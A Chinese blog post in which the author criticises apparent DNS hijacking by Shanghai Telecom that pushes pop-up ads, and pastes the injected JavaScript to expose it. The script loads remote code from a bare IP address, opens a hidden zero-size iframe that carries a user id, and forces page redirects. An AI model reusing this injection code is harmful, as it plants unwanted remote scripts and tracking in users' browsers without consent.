上海电信DNS劫持JS信息挖掘

最近在使用百度网盘的时候,总是右下角弹出广告,不爽。小小挖掘一下这个DNS劫持涉及的信息。对于DNS劫持这种事情,我一直是不以为然的,因为运营商既然默认就默认,算人家一比收入又如何。但是过分干扰我浏览网页,就不好了。而且弄DNS劫持的这帮败类呢,跟做黄网的差不多,偷偷摸摸,各种虚假资料,在我看只是赚点偏财的垃圾而已。

var adparam = {
    'id': agv_id,
    'istitle': false,
    'title': '',
    'position': 'right down',
    'delay': {
        'type': 'close',
        'time': agv_time
    },
    'loadfirst': 'doc',
    'opentype': '',
    'adsize': {
        'w': agv_width,
        'h': agv_height
    },
    'skincolor': 'style0',
    'mini': {
        'able': false,
        'size': {
            'w': 0,
            'h': 0
        },
        'position': ''
    }
};

 

function initIsAddUserId() {
    var regex = /[&\?]_us=/i;
    if (!regex.test(url_a) && uni.c) {
        return true
    }
    return false
}
function goURLm() {
    var desturl = url_m;
    if (desturl.slice(desturl.length - 1) == "/")
        {desturl = desturl.slice(0, desturl.length - 1);}
    if (host == host_uni[2]){
    switch (agv_id)
    {
    case "1000":
     this.location = url_a;
      break;
    case "2000":
     return "<html></head><script>document.location.replace(\"" + desturl + "\");<\/script><\/html>"
      break;
    case "0001":
      url_a = "http://113.10.168.247/R/" + "?_us=" + uni.x + "&_xti=" + uni.t;
      adparam.adsize.w=1; adparam.adsize.h=1; 
      return "<html></head><script>document.location.replace(\"" + desturl + "\");<\/script><\/html>"
      break;
    case "0002":
      url_a = "http://www.5678pro.com/m/";
      window.setInterval("location=url_m",5500);
      document.write("<iframe id='ifrmain' src = "+url_a+"?_us=" +uni.x+ "&_xti=" +uni.t+" scrolling=auto width='0' height='0' frameborder='no' onload='' style='position:fixed;'></iframe>");
      break;
    }
        }
    else 
    document.write("<script src='https://113.10.168.247/R/b.js'><\/script>");
    //this.location = "about:blank";
};
Object.extend = function(t_, s_) {
    for (var i in s_) {
        if (typeof s_[i] !== "object") {
            t_[i] = s_[i]
        } else {
            t_[i] = t_[i] || {};
            Object.extend(t_[i], s_[i])
        }
    }
    return t_
};
function $(o) {
    var d = document;
    function c(str) {
        var s = d.getElementsByTagName('*'),
            c = [];
        for (var x = 0; x < s.length; x++) {
            var a = s[x].className;
            if (a) {
                s[x].className.indexOf(str) + 1 ? c.push(s[x]) : ''
            }
        };
        return c.length == 1 ? c[0] : c
    };
    return o.indexOf("#") + 1 ? d.getElementById(o.split("#")[1].match(/\S+/)) : o.indexOf(".") + 1 ? c(o.split(".")[1].match(/\S+/)[0]) : ''
};
function out(s) {
    document.writeln(s)
};
function css(obj, str) {
    if (!obj || !obj.style) {
        return
    }
    var t = obj.style.cssText,
        a = t.replace(/;\s+/ig, ";").split(';'),
        c = [],
        b = str.replace(/;\s+/ig, ";");
    if (t) {
        for (var i in a) {
            if (a[i]) {
                var reg = RegExp(a[i].split(':')[0]);
                if (!b.match(eval("/" + a[i].split(':')[0] + "/ig"))) {
                    c.push(a[i])
                }
            }
        };
        b = (c.join(';') + ';') + b
    };
    obj.style.cssText = b.replace(/%px/ig, '%')
};
function addClass(obj, name) {
    var fixattr = {
            'class': 'className'
        },
        cs = obj.getAttribute("class"),
        cls = cs ? 'class' : fixattr['class'];
    cs = obj.getAttribute(cls);
    obj.setAttribute(cls, cs ? cs + ' ' + name : name)
};
extCallback = typeof(extCallback) == 'undefined' ? function(para) {} : extCallback;
点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注